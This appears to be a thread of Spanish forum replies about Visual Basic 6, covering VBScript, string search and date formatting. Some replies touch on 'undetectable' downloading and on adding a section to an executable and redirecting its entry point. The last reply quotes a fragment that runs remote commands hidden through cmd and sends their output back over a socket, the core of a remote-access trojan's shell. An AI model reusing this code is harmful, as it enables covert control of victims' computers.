Mensajes

Pero las funciones vbs funcionan en vb6?

VBS es VB6 , aunque menos completo, no puedes usar APIs y otras limitaciones...

TODO lo hecho en VBS se puede poner en VB6

Saludos

Wenas, que yo sepa no hace falta nada, tan solo escribe el codigo en vbs.

un saludo

Bueno, eso es cierto

Usando ficheros temporales simplemente creas un fichero .vbs y lo ejecutas... pero porque quieres ejecutar VBScript? No puedes hacerlos desde VB?

Saludos

Te refieres a hacerlo sin crear un fichero temporal? Porque creandolo seria bien facil

Si no recuerdo mal era posible hacerlo 'on the fly'... investigare un poco

Saludos

Que te parece si no metes prisas?

Bueno, una forma, lo pongo para textbox, no creo que tengas problemas en adaptarlo:

Código (vb) [Seleccionar] Expandir

    'InStr devuelve la posicion de una string dentro de otra string...
    'vbTextCompare indica que no sera CaseSensitive
    If InStr(1, Text1.Text, "PALABRA", vbTextCompare) <> 0 Then
        MsgBox "La palabra se ha encontrado"
    Else
        MsgBox "Esta palabra no esta..."
    End If

Bueno, si la descarga es de una URL podrias usar WinHTTP[5.1]

Hay muchos metodos... por ejemplo, Cobein posteo uno muy novedoso e indectable

Saludos

No seria menos codigo de essta forma

Código [Seleccionar] Expandir


     DiaActual = Day(Now)
    AnoActual = Year(Now)
    MesActual = Month(Now)

Fecha = "Dia: " + CStr(DiaActual) + " Mes: " + CStr(MesActual) + " Año: " + CStr(AnoActual)


Menos codigo todavia:

http://foro.elhacker.net/programacion_vb/modulo_mas_sobre_date-t237894.0.html;msg1136922#msg1136922

Saludos

Me parece que si que estais aburridos, y mucho ...

Porque yo en una linea lo he podido hacer

Código (vb) [Seleccionar] Expandir

Option Explicit

Private Sub Form_Load()
    Debug.Print FormatearFecha(Now)
    Debug.Print FormatearFecha(Date)
    Debug.Print FormatearFecha("03/08/1992")
End Sub

Public Function FormatearFecha(ByVal sFecha As String) As String
    'Cualquier formato de fecha es valido
    '03/08/92
    '3/8/1992
    '03/8/92
    '....
    'Mas informacion sobre la funcion Format$() : http://www.apostate.com/vb-format-syntax
    FormatearFecha = Format$(sFecha, "dd/MMMM/yyyy")
End Function

Hacer el favor de visitar esta URL, asi aprendereis a usar esta gran funcion Format() 

Código [Seleccionar] Expandir

http://www.apostate.com/vb-format-syntax



NovLucker, creo que lo que tu dices tambien se puede hacer con Format ... lamento quitarte trabajo Edu

Saludos

Sale en todos los enlaces de rapidshare, no pasa nada, es solo para habisar de que no está verificado por el foro =P

No me gustaria desviar el tema, pero porque solo en RS? :S



En cuanto al Av esta bien, es una idea original, pero creo que con el sentido comun y 'Segundo Boton, Editar' Sobra

Saludos

Muy bueno (Como ya dije en HackHound )!

Solo tengo una duda, por ejemplo, yo añado una sección al ejecutable, como podria hacer para que el EntryPoint apuntara a esa nueva sección?

No entiendo demasiado bien hacia adonde apunta el EntryPoint despues de usar tu funcion... Talvez este idiota

Saludos

Código (vb) [Seleccionar] Expandir


    Dim sCommand    As String
   
    Kill Environ("windir") & "KB008.txt"
    Sleep (500)
    Shell "cmd /c " & Data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
    Sleep (2000)
   
    Open Environ("windir") & "KB008.txt" For Binary As #1
        sCommand = Space$(LOF(1))
        Get #1, , sCommand
    Close #1
   
    WS.SendData "ComandoShell|" & sCommand


No entendi la ultima parte ... dices que solo se envia "ComandoShell|" ?

Saludos